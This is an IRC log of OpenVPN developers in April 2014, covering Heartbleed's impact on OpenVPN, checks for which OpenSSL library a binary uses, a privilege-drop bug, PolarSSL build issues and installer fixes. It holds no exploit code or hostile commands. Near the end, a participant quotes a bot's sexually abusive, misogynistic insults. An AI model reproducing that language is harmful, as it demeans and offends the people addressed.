<@dazo> I'll update one of my servers, and see what happens when I hammer it from my laptop :) 13:19 <@cron2> I don't expect anything to happen as compared to "master without that patch", as it's not really in any interesting code path for the server :-) 13:20 <@cron2> if you do --push-peer-info on the *server*, you can actually see the value on the client - but I think nobody does 13:20 <@dazo> well, I need an updated server to see what comes from the client, right? 13:21 <@plaisthos> or use the management interface iirc 13:21 <@dazo> right ... but I need to enable the management interface then .... 13:22 <@plaisthos> not saying that it is a good alternative 13:22 <@dazo> :) 13:23 <@dazo> it's my private server ... so it'll just be fun to see how well master runs there :) 13:24 <@cron2> I run master on one of my corp servers, and it works well :-) 13:24 <@cron2> (well, master of a few weeks ago, but all the interesting bits are in there) 13:27 <@plaisthos> James mailed me 13:27 <@plaisthos> I have broken ports <1024 and chroot 13:27 <@cron2> you have? how? 13:27 <@plaisthos> yes 13:27 <@syzzer> the portnum patch? 13:27 <@plaisthos> no 13:28 <@plaisthos> since inet/inet6 is not know a priori like before I delayed creating the socket 13:28 <@plaisthos> and binding the socket 13:28 <@cron2> oh, and if root privs are dropped, they are now dropped before bind()? 13:28 <@plaisthos> yes 13:28 <@plaisthos> proably 13:29 <@plaisthos> i have look at the code in detail again :/ 13:29 <@cron2> and what's with chroot? 13:29 <@plaisthos> the combination uid/gid/chroot 13:29 <@plaisthos> before socket_phase_2 it drops the privileges 13:30 <@dazo> chroot causes the delay of setting uid/gid ... and when port is being opened after setuid/setgid it fails 13:31 <@cron2> well, *delay* is not causing the issue, it's dropped too early 13:32 <@dazo> yeah, but chroot changes the order slightly 13:33 <@plaisthos> it might have broken for all those cases 13:33 <@plaisthos> :) 13:33 <@plaisthos> I'll have to check 13:36 -!- fannet222 [~naegelin@cpe-74-64-44-106.nyc.res.rr.com] has joined #openvpn-devel 13:36 <@cron2> seems I need a server test case that is running unprivileged and/or chroot'ed... 13:37 <@dazo> clients can also do that ... with --lport, iirc 13:37 < fannet222> Hi everyone- I was reading through https://community.openvpn.net/openvpn/wiki/heartbleed and was rather confused by the answer given by “Do TLS-auth keys protect my setup?" 13:37 <@vpnHelper> Title: heartbleed – OpenVPN Community (at community.openvpn.net) 13:37 <@cron2> true, lport and bind 13:37 <@plaisthos> dazo: yeah that is probably broken beyond repair with dual stack for ports <1024 13:38 <@dazo> fannet222: it does protect you to quite some degree ... it depends on if you trust your clients or not 13:38 < fannet222> I dont 13:38 < fannet222> I’m concerned about this statement: Such a compromised instance could attack other instances (including the server). 13:38 < fannet222> Does that mean a patched / non-vulnerable server can be exploited by a vulnerable client? 13:39 <@cron2> no 13:39 <@dazo> okay, then I'd be concerned ... because if an attacker has the tls-auth key, the server will respond to the heartbeat 13:39 <@cron2> it means "tls-auth won't protect a non-patched server/client against someone else who knows the tls-auth" 13:39 < fannet222> got it 13:40 <@dazo> if an attacker does *NOT* have access to the tls-auth key, the server will just drop the packet 13:40 < fannet222> you cannot have multiple TLS keys correct? (one per client) 13:41 <@cron2> no 13:41 <@cron2> well, "yes, correct, no you can only have one tls-auth secret" 13:41 < fannet222> so in the case of a pubilc vpn service would the TLS key even be necessary 13:42 <@dazo> if using UDP, it can protect against malicious UDP flooding on the openvpn port 13:42 <@plaisthos> it does help against attack who do no effort at all 13:42 <@dazo> drive-by port scanners won't see the udp port on your server ... only those who have the tls-auth key 13:42 < fannet222> lol so UDP flood from script kiddies who dont know how to flood w/ the TLS key presumably 13:42 <@plaisthos> fannet222: right 13:43 < fannet222> i suppose it would make amplification attacks much more difficult too 13:43 < fannet222> (being a victim of one) 13:44 * dazo heads out 13:44 <@plaisthos> oh my, compling on freebsd 10 is scary 13:44 <@plaisthos> since clang is the default compiler, every second package spew out warnings 13:44 < fannet222> ok final question - there was no discussion over OSX in the FAQ 13:45 <@plaisthos> they are probably gcc -Wall safe not clang -Wall safe 13:45 -!- tehsun [~teh@unaffiliated/tehcloud] has joined #openvpn-devel 13:45 < fannet222> does openvpn on OSX rely on a system specific openssl implementation? 13:45 <@plaisthos> fannet222: no 13:45 <@plaisthos> or maybe :) 13:45 <@cron2> fannet222: tunnelblick ships it's own openssl library (and you want updating). If you compile yourself, it uses what is there 13:46 < fannet222> I use command line openvpn (compiled) - is there an easy way to check the library dependency ? 13:46 <@plaisthos> otool -L 13:46 < tehsun> fannet222, have you tried ldd? 13:47 -!- dazo is now known as dazo_afk 13:47 <@plaisthos> tehsun: that works only for elf binaries ;) 13:47 < tehsun> you mean not everyone uses Linux? 13:47 <@cron2> ldd works 13:47 <@cron2> oh 13:47 <@plaisthos> cron2: I though fannet222 used OS X 13:47 <@cron2> it doesn't 13:48 <@plaisthos> 20:46:47 <@plaisthos> otool -L 13:48 < fannet222> I do :) 13:48 < fannet222> otool -L openvpn 13:48 < fannet222> openvpn: 13:48 <@cron2> I *thought* it did, but just discovered it doesn't. *rub eyes* 13:48 < fannet222> /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 169.3.0) 13:48 < fannet222> /usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 1669.0.0) 13:48 <@plaisthos> statically compiled SSL library 13:48 <@plaisthos> \o/ 13:48 <@plaisthos> tool -L =openvpn |grep ssl /opt/local/lib/libssl.1.0.0.dylib (compatibility version 1.0.0, current version 1.0.0) 13:51 < fannet222> thanks! 13:51 < fannet222> *breathing sigh of relief* 13:51 <@plaisthos> fannet222: hm? 13:51 <@plaisthos> fannet222: you still have to find out which openssl version that openvpn binary is compiled with, don't you? 13:52 < fannet222> Oh I was confused 13:52 < fannet222> thought it was /opt/local/lib/libssl.1.0.0.dylib 13:53 <@plaisthos> in my example 13:54 <@plaisthos> https://news.ycombinator.com/item?id=7598616 13:54 <@vpnHelper> Title: Successful private key extraction from OpenVPN using Heartbleed | Hacker News (at news.ycombinator.com) 13:56 < fannet222> ah got it - so the lack of results from otool -L indicates its statically compiled 13:56 < fannet222> <- n00b 13:58 <@cron2> you could try "strings -a openvpn |grep OpenSSL" now, that should give you the static version string 13:59 < fannet222> hrm nothing 14:00 < fannet222> oh wait I think I got it 14:00 <@plaisthos> my tunnelblick has openssl 1.0.1e 14:01 < fannet222> yes ok this has the same version 14:02 < fannet222> OpenSSL 1.0.1e 11 Feb 2013 14:03 <@cron2> bah 14:03 <@cron2> "this no good" 14:04 <@cron2> plaisthos: there are tunnelblick updates, at least since monday, both for "beta" and "stable" (but he's still shipping 2.3.2) 14:04 <@syzzer> hmm, sounds like the heartbleed page needs a tunnelblick paragraph 14:04 < fannet222> ok I know Jonathan well so I’ll reach out to him for an update 14:05 < fannet222> what are the implications of a client being vulnerable 14:06 <@cron2> fannet222: a man-in-the-middle attacker (wth the tls-auth) could, in theory, extract "bits from memory" on the client 14:06 <@plaisthos> cron2: like private key and cert 14:06 < fannet222> ok so it does require MITM 14:06 <@syzzer> fannet222: and an attacker could impersonate the client, i.e. get on your network 14:06 <@plaisthos> fannet222: mitm in a very weak way 14:06 <@plaisthos> dns forging is enoguh 14:06 < fannet222> got it 14:07 <@cron2> well, "see your packets and be able to talk to you" 14:07 < fannet222> & manipulate I pressume 14:08 <@cron2> yes, send packets your way 14:09 <@cron2> it would be really interesting to see how easily accessible our "bits" are on the client - on http tls servers, usually the private key can only be grabbed right after server restart, and later on you only get unintersting stuff like "other people's login credentials" or "auth cookies" and such... 14:09 <@cron2> otoh, a client connecting would have just freshly set up it's memory layout... so if there's a key, it will quite likely be always there to grab... or never 14:10 <@plaisthos> cron2: did you see link I posted? 14:10 <@cron2> yep, but that was against a server 14:10 <@syzzer> my guess is that is is rather easy to grab the key from a client, it usually loads it right before connecting 14:11 <@cron2> syzzer: "loading" is not a proplem per se, if it's "below" the incoming packet in memory... and that seems to depend on "key is in memory, and that memory is OPENSSL_free()'ed" 14:11 <@cron2> from what I gather from the cloudflare analysis 14:11 <@syzzer> yeah, well, cloudflare got pwned ;) 14:12 <@plaisthos> yeah 14:12 <@syzzer> it all relies on your memory layout and malloc/free behaviour 14:12 <@syzzer> no guarantees there... 14:12 <@cron2> ... but they restarted nginx in that time, and they assumed that upfront, that "right after restart" the key might be "somewhere there" 14:12 < fannet222> everyone got pwned by the nsa for the last year lol 14:13 <@cron2> nsa claims "they have not know about this bug", and chances are high that this is actually not lying, but just incompetence... 14:14 < n13l> syzzer: finished that patch related to channel binding (http://thread.gmane.org/gmane.network.openvpn.devel/8535) If you interest :) 14:14 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:14 < fannet222> they also claimed a lot of things in front of congressional testimony that was later not quite accurate 14:14 <@syzzer> n13l: yeah, I saw, have to find some time to do a review :) 14:14 < n13l> syzzer: wanted to change as little code as possible 14:14 <@cron2> n13l: I saw the patch on the list, but I highly don't understand what this is all about... so some more explanation would be good 14:14 < n13l> syzzer: but can imagine maybe abit cleaner code 14:14 <@cron2> n13l: from a style pov: do not use // comments, ever, and some of the code is missing indentation 14:15 <@cron2> (the bits in init.c) 14:16 <@syzzer> n13l: have not looked at it yet, but little-changes makes review easier :) 14:16 < n13l> cron2: hi, im open to changes (cleanups). 14:16 <@cron2> "no changes that are not needed for the patch", "no C++ comments", "follow the indentation of the surrounding code" 14:17 < n13l> syzzer: im open :) if you can forward me to line number :) i talked about indentation and related things with dazo 14:18 <@plaisthos> hm imap something like IV_GUI 14:18 <@cron2> n13l: i'm sure he said that as well, as *most* of the patch is fine in that regard. Just some gratious new lines "right in the middle of unrelated code", one C++ comment, there's tidying up to do 14:18 <@plaisthos> Apr 16 21:15:01 mail imap[5399]: client id: "name" "AquaMail" "version" "1.3.8" "build" "2100414" "os" "Android" 14:18 <@cron2> n13l: on the crypto side of things, I won't be able to comment on this anyway 14:18 < n13l> cron2: ok will look there 14:19 < n13l> cron2: it's all about the authentication based on RFC. for example there's no need to authenticate upper layer ans transfer user related data 14:19 < n13l> cron2: upper layer can derive everything from allready authenticated layer (TLS) 14:19 <@cron2> explain for those that have *not* read the RFC :-) 14:20 <@cron2> (not here in IRC, on the list, as that is what is archived and will be referenced when merging) 14:21 < n13l> cron2: both TLS end-points can derive same identifier + "secret" (channel_id and binding_key) without the need of transfer 14:21 < n13l> cron2: ahh :) the patch is missing body here (http://sourceforge.net/p/openvpn/mailman/openvpn-devel/) because i didnt use plain text :( 14:21 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 14:22 <@cron2> well, it arrived in my mailbox intact (though not displaying as-is, due to octet-string) - so when you re-send v2, use plain text - "git send-email" is your friend 14:23 < n13l> cron2: ok will look at that git feature :) 16:37 <@vpnHelper> RSS Update - tickets: #393: Error occured installing tap device driver <https://community.openvpn.net/openvpn/ticket/393> 18:35 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 19:36 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has quit [Quit: Nettalk6 - www.ntalk.de] 21:30 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 23:02 -!- fannet222 [~naegelin@cpe-74-64-44-106.nyc.res.rr.com] has quit [Ping timeout: 265 seconds] --- Day changed Thu Apr 17 2014 01:23 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:24 -!- mattock_afk is now known as mattock 03:14 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:27 <@plaisthos> I updated the https://community.openvpn.net/openvpn/wiki/Patches page 03:27 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 03:27 <@plaisthos> I hope I didn't miss a patch 03:48 <@cron2> plaisthos: thanks. 04:50 < n13l> cron2: hi, i made fixups, cleanups, reduced code in the patch abit and added description for thos who didnt read that RFC :)http://thread.gmane.org/gmane.network.openvpn.devel/8541 04:50 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 05:06 <@cron2> m13l: cool, thanks 06:31 <@mattock> updated https://community.openvpn.net/openvpn/wiki/heartbleed with info about Fredrik's exploit 06:31 <@vpnHelper> Title: heartbleed – OpenVPN Community (at community.openvpn.net) 06:40 <@plaisthos> mattock: we should also add that TUnnelblick is vulnerable too, since it is build with openssl 1.0.1e 06:41 <@mattock> ah, good point 06:41 <@mattock> I'm updating that page atm 06:41 <@mattock> will add that also 06:41 <@plaisthos> or 1.0.1f 06:46 <@mattock> plaisthos: tunnelblick made a new release 8th Apr 2014 06:46 <@mattock> wasn't that one day after the heartbleed thing? 06:46 <@mattock> I wonder if that release is a fixed one 06:47 <@mattock> according to this page the 3.3.2 fixed the heartbleed vuln: https://code.google.com/p/tunnelblick/wiki/News 06:47 <@plaisthos> mattock: https://code.google.com/p/tunnelblick/wiki/RlsNotes#Version_3.4 06:47 <@vpnHelper> Title: News - tunnelblick - The Latest News About Tunnelblick - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com) 06:47 <@vpnHelper> Title: RlsNotes - tunnelblick - Release Notes - Tunnelblick - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com) 06:52 <@mattock> done 06:57 <@cron2> yes, tunnelblick released fixed "beta" and "release" binaries 08:08 <@ecrist> Fredrik posted their working exploit to security@. Anything we can do to aid in mitigating such an exploit, before it gets to openssl? 08:22 <@cron2> yeah, not use openssl :-) - or use tls-auth 08:56 * ecrist taps foot impatiently while waiting for Tunnelblick folks to release with 2.3.3 10:01 <@ecrist> what configure arg do I need to set to set the openssl lib path? 10:08 <@cron2> configure OPENSSL_SSL_CFLAGS="..." OPENSSL_SSL_LIBS="..." 10:28 -!- mattock is now known as mattock_afk 10:41 <@ecrist> thanks 10:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 10:56 <@syzzer> cron2: yeah, those, and remove your system openssl, as PkgConfig takes precedence over those... 10:57 <@syzzer> which is probably fixable, but I avoid autoconf as much as possible :p 10:57 <@syzzer> * openssl-dev package, that is 10:58 <@syzzer> oh, and there's OPENSSL_CRYPTO_{CFLAGS,LIBS} too... 11:15 <+krzee> "but I avoid autoconf as much as possible :p" good thing alonb isnt here lol 11:16 <@cron2> syzzer: yeah, this is all a bit weird... supposedly it's all following the One True Religion, but I'd love to just have a basic ./configure --with-openssl-dir=/usr/local/ and done 11:18 < n13l> syzzer: hi, i made fixups, cleanups, reduced code in the patch abit and added description for those who have not read that RFC. http://thread.gmane.org/gmane.network.openvpn.devel/8541 11:18 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 11:58 -!- mattock_afk is now known as mattock 13:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:23 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 258 seconds] 15:35 <@andj> Not sure if anyone's seen this yet, but this might be of interest: 15:35 <@andj> http://opensslrampage.org/ 15:35 <@vpnHelper> Title: OpenSSL Valhalla Rampage (at opensslrampage.org) 15:42 -!- tehsun [~teh@unaffiliated/tehcloud] has quit [Quit: Leaving] 15:51 <@syzzer> n13l: cool, thanks. I'm hoping to find some spare time this weekend :) 16:17 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:17 -!- mode/#openvpn-devel [+o cron2] by ChanServ 16:39 <@cron2> http://opensslrampage.org/ 16:39 <@vpnHelper> Title: OpenSSL Valhalla Rampage (at opensslrampage.org) 16:39 <@cron2> yay, fun 18:47 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 18:48 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 22:09 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 22:10 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:10 -!- dazo_afk is now known as dazo --- Day changed Fri Apr 18 2014 00:40 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 01:19 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:19 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:59 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 265 seconds] 03:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 07:37 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 07:37 <@cron2> so... anyone willing to ack/nack my ssl-version patch now...? 07:39 -!- mattock is now known as mattock_afk 08:05 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:05 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:31 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 08:36 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:36 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:57 -!- mattock_afk is now known as mattock 09:31 <@syzzer> cron2: done :) 10:06 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 10:29 <@cron2> \o/ ("work to do for tonight" :)) 10:35 -!- mattock is now known as mattock_afk 11:00 <@cron2> syzzer: it would be extremely cool to have an ACK for the Polar 1.3 patches right from James :-) - let's see 12:33 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 16:06 <@vpnHelper> RSS Update - gitrepo: Add SSL library version reporting. <https://github.com/OpenVPN/openvpn/commit/1ec984b154aa3247ef58c9d44e7e477880b632b1> --- Day changed Sat Apr 19 2014 04:37 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 05:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:52 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:36 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has joined #openvpn-devel 07:10 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:11 -!- mode/#openvpn-devel [+o andj__] by ChanServ 07:14 -!- Netsplit *.net <-> *.split quits: @andj 07:14 -!- andj__ is now known as andj 10:06 <@cron2> mmmh. So why is the windows buildsnap build *not* failing...? 16:28 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has quit [Ping timeout: 255 seconds] 18:49 <@vpnHelper> RSS Update - tickets: #394: OpenVPN GUI shouldn't (always) error when already running <https://community.openvpn.net/openvpn/ticket/394> --- Day changed Sun Apr 20 2014 09:44 -!- mattock_afk is now known as mattock 10:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 14:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:34 -!- mode/#openvpn-devel [+o andj] by ChanServ 16:24 -!- tal_aloni [~tal.aloni@37.142.211.14] has joined #openvpn-devel 16:26 < tal_aloni> Hi, any expert on the TAP driver for Windows? when setting it within the same subnet as the physical adapter, the physical adapter no longer responds to communication (Server 2003 SP2) 16:33 <@pekster> Right, you can't do that. You probably want to take this to #openvpn where we discuss using OpenVPN; this channel is for discussing development of the code behind OpenVPN 16:41 < tal_aloni> Thanks, I'm a software developer, I wish to see if it's possible to modify the TAP driver to fit this purpose. 16:43 <@pekster> Your issue is more one of basic networking; you can't have 2 identical networks on separate routing segments like that 16:44 < tal_aloni> I can do it with physical adapters, I've tried and it works well. 16:44 <@pekster> Not without compelx policy routing that AFAIK windows is very bad at 16:44 <@pekster> If you want to "share" the network, you need a bridge. Routing is almost always preferred unless you need OSI L2 connectivity 16:45 <@pekster> Either way, the issue isn't the "tap driver" or some such sillyness 16:46 < tal_aloni> pekster: My apologies, I assume that if two physical adapters works with Windows, than a physical+TAP should work as well, where is the flaw in my logic? 16:46 <@pekster> Your lack of networking. You can't just "overlap" networks like this 16:47 < tal_aloni> I understand that I would either have to bridge or set up windows to route. 16:49 < tal_aloni> but I'm not even getting to this stage because as soon as I set the IP address the physical adapter stop responding, this does not happen with two physical adapters, can this be overcome, or am I not seeing the big picture? Thanks! 16:49 <@pekster> Routing requires non-overlapping networks. You can't "set it within the same subnet as the physical adapter." Period. Maybe you conveninced windows to do something really stupid with IAS or metrics, but it's straight up not allowed in networking. If you align a gun with your foot, it's not openvpn's job to fix it 16:50 < tal_aloni> pekster: of course 16:50 <@pekster> So why ask the openvpn devs to fix this? What you ask for is nonsense 16:52 < tal_aloni> pekster: I'm not asking anyone to fix anything, I'm trying to figure out the situation. 16:53 <@pekster> The situation is you vastly screwed up your network if you are using the same range on different network segments 16:54 <@pekster> Bridging requires you set up a bridge in your target OS (Windows has ways to do this.) If you're not bridging, use different network segments as standard routing requires 16:54 <@pekster> Either way it's not a "bug" in the openvpn software; if anything you've discovered a bug in Windows 16:54 < tal_aloni> pekster: it's the only way to run two SMB servers on a machine on the same network segment 16:55 <@pekster> Take it to #openvpn; no point in cluttering up the dev channel for what's clearly not a development issue 16:55 < tal_aloni> pekster: you are correct, I now understand that, I truly appreciate the clarification! 16:58 < tal_aloni> pekster: sorry, are you saying I can bridge and use the same network segment on both adapters? 16:58 <@pekster> OpenVPN developers channel | For configuration and user support, please go to #openvpn 16:59 <@pekster> It's in the /TOPIC. I'd be happy to help there 17:09 <+krzee> i felt compelled to fix some small stuff in this script, so i did. https://community.openvpn.net/openvpn/attachment/wiki/OpenVPN2011-2012/ 17:09 <@vpnHelper> Title: OpenVPN2011-2012 – Attachments – OpenVPN Community (at community.openvpn.net) 17:51 -!- tal_aloni [~tal.aloni@37.142.211.14] has left #openvpn-devel [] 23:48 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 23:49 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 23:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 23:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Apr 21 2014 02:16 <@cron2> pekster: actually windows will happily do that, two adapters in the same subnet. The issue is that you won't know which adapter it will use to send out a packet - so if they are both connected to the same LAN, it will work. If connected to LAN and TAP, it won 02:17 <@cron2> won't, as observed, as responses to packets coming in via LAN might go out via TAP -> "dead" 02:51 <@cron2> woot, activity on the -devel list 02:58 <@syzzer> yeah, seems James has been working on the 2.x branch again :) 03:00 <@cron2> yep, this is still what is inside AS, and his customers are asking for AS+PolarSSL... :) 03:57 <@cron2> mmmh 03:57 <@cron2> now this gets interesting 03:57 <@cron2> I have merged the polar 1.3 patches, and want to build polar 1.3 on my buildslaves... 03:57 <@cron2> CC aesni.c 03:57 <@cron2> /tmp//ccVZZhIQ.s: Assembler messages: 03:57 <@cron2> /tmp//ccVZZhIQ.s:45: Error: no such instruction: `aesenc %xmm1,%xmm0' 03:57 <@cron2> /tmp//ccVZZhIQ.s:50: Error: no such instruction: `aesenclast %xmm1,%xmm0' 03:57 <@cron2> yay 03:59 <@cron2> (found it, config.h) 04:38 <@vpnHelper> RSS Update - gitrepo: Improve error reporting during key/cert loading with PolarSSL. <https://github.com/OpenVPN/openvpn/commit/5e0112d9c60c488d3951491052d1aec8ef793023> || Upgrade to PolarSSL 1.3 <https://github.com/OpenVPN/openvpn/commit/03df3a990f71b3d02653eba364ac89f8400611c3> 04:43 <@syzzer> cron2: looking into the plugin api 04:43 <@syzzer> have to figure out how to teach the build system for the plugins where to find my polarssl headers and libs... 04:44 <@cron2> syzzer: thanks. Should not be that hard - same changes as elsewhere 04:44 <@cron2> I'm lazy :) my buildslaves all have /usr/include/polarssl -> $whereveritis and /usr/lib/libpolarssl.a -> $whereveritis 04:45 <@cron2> but in theory, it should be "./configure POLARSSL_LIBS='-L/usr/... -lpolarssl' POLARSSL_CFLAGS='-I/usr/...'" 04:45 <@cron2> (and that should be propagated down to the plugin build - if not, it's a bug...) 04:46 <@syzzer> cron2: yeah, I would like that second thing to work, but it doesn't propagate to the plugins 04:46 <@cron2> bah 05:21 <@syzzer> patch incoming :) --- Log closed Mon Apr 21 05:38:06 2014 --- Log opened Mon Apr 21 08:41:38 2014 08:41 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:41 -!- Irssi: #openvpn-devel: Total of 16 nicks [9 ops, 0 halfops, 1 voices, 6 normal] 08:41 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:41 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 09:59 <@plaisthos> head -> desk 09:59 <@plaisthos> I'm trying to connect my Softether VPN server with your software. But since Softether is only imitating Openvpn, I'm getting errors. Mostly TLS related errors and I can't connect. 09:59 <@plaisthos> Even though I deselected TLS from the options, it's still there. Is there any way to disable TLS completely? 10:11 <+krzee> lol 10:11 <@cron2> head -> desk ideed 10:11 <@cron2> yet another user that didn't stop the gui before installing the update 10:12 <+krzee> why doesnt the update do it? 10:12 <@cron2> so now he has a gui that doesn't work with the ssleay.dll that is newly installed, or something like that 10:12 <@cron2> krzee: now that is a *good* question, and mattock promised to fix it "really soon now" 10:12 <+krzee> oh i see 10:13 <@cron2> "because experienced users never test stuff that normal users would do, and then break" 10:13 * cron2 noticed only because I was uninstalling and re-installing a lot of times and forgot to quit the gui once, leaving the gui.exe and ssleay.dll behind 10:13 <+krzee> reminds me of the 5 yr old kid who found how to bypass the xbox user password 10:14 <@plaisthos> I told the user that what he wants is like asking to do http without tcp 10:15 <+krzee> now you will have to explain to him how those work ;] 10:18 <@cron2> this tls is just causing problems anyway! no tls, no heartbleed! 12:43 <+krzee> [13:44] <krzee> if you have a goal, which i made a great writeup for, AND a troubleshooting flowchart for, do NOT look at them for 30sec and then start asking me what you need to do 12:43 <+krzee> [13:44] <krzee> !freakout 12:43 <+krzee> [13:44] <Golgo13> I DO WANT TO FUCK YOU, YOUR MOTHER, SISTER AND OTHER WHORES IN YOUR FAMILY! I JUST WANT TO DO THIS! 12:43 <+krzee> [13:44] <krzee> !freakout 12:43 <+krzee> [13:44] <Golgo13> SOME PEOPLE THINK TAYLOR RAIN IS A WHORE BUT LET ME SAY YOU SOMETHING. TAYLOR RAIN IS JUST DOING HER BUSINESS AND YOU ARE THE WHORE AS FAR AS I'M CONCERNED! 12:44 <+krzee> i almost want to bring that bot to #openvpn lol 16:41 < n13l> --- Day changed Tue Apr 22 2014 01:01 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:01 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:01 -!- mattock_afk is now known as mattock 02:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:00 <@cron2> moin 03:01 <@mattock> hi 03:02 <@cron2> mattock: surprise attack :-) - your buildslaves need polarssl 1.3.5 now 03:02 <@mattock> oh, how fun :) 03:02 <@mattock> I'll look into it 03:02 <@cron2> James ACKed the "upgrade to polarssl 1.3" patch on Sunday, and I merged it right away :) 03:03 <@cron2> (and then spent an hour upgrading polar on all my buildslaves) 03:04 <@mattock> sounds like fun, I'll do it right now 03:40 <+krzee> mattock, and i compulsively cleaned up some bash script you wrote over a year ago lol 03:40 <@mattock> krzee: which one? 03:40 <+krzee> check memoserv 03:41 <@mattock> hmm, I didn't write that one 03:41 <@mattock> unless you mean that I need to check memoserv :D 03:41 <@mattock> to figure out what the script was 03:41 <+krzee> yep thats what i mean 03:42 <+krzee> i can search out the link, but i left it for you there 03:42 <+krzee> it was a script that generated stats from the web archive of the email list 03:42 <@mattock> ah, that one 03:44 <@mattock> good, you put the updated script here: https://community.openvpn.net/openvpn/wiki/OpenVPN2011-2012 03:44 <@vpnHelper> Title: OpenVPN2011-2012 – OpenVPN Community (at community.openvpn.net) 03:44 <+krzee> ahh ya there it is 03:44 <@mattock> I characterised my script as "crude but functional" 03:45 <@mattock> hopefully it's not "beautiful and functional" :) 03:45 <+krzee> yep thats why i looked at it 03:45 <+krzee> fixed a couple lil things 03:45 <+krzee> now its slightly less crude, and equally functional =] 03:45 <@mattock> nice! 03:46 <@mattock> maybe I should make it a GitHub project 03:46 <@mattock> starting with your modified version 03:47 <+krzee> i kept the same format so you should be able to see my changes with diff if you want to 03:49 <+krzee> 2 cats were harmed in the process 03:51 <@mattock> too bad there was collateral damage :P 04:10 < _bt> hello 04:10 < _bt> just reading back about issues with openvpn running thus uninstall/update not completing correctly 04:11 < _bt> and potentially leaving the users install in a broken (or vulnerable) state - is that correct? 04:11 < _bt> i can fix this if you like 04:16 < _bt> either can make the uninstaller error due to gui running, or send a close message to the gui and carry on , any thoughts? 04:19 <+krzee> i believe that needs to be done 04:20 <+krzee> i think mattock is the one to talk to ^ 04:21 < _bt> okay 04:25 <@mattock> _bt: are you referring to this: https://community.openvpn.net/openvpn/ticket/390 04:25 <@vpnHelper> Title: #390 (windows installer needs to kill gui on upgrade or uninstall) – OpenVPN Community (at community.openvpn.net) 04:25 <@mattock> if you want to hack at NSIS, feel free 04:25 < _bt> yes 04:25 < _bt> ill get something working and send you a pull req 04:25 <@mattock> ok, thanks! 04:25 <@mattock> -> lunch 04:41 -!- mattock is now known as mattock_afk 06:25 <@cron2> _bt: extremely cool, this. Thanks! 06:41 <@cron2> mattock: can you organize a meeting for thursday? I 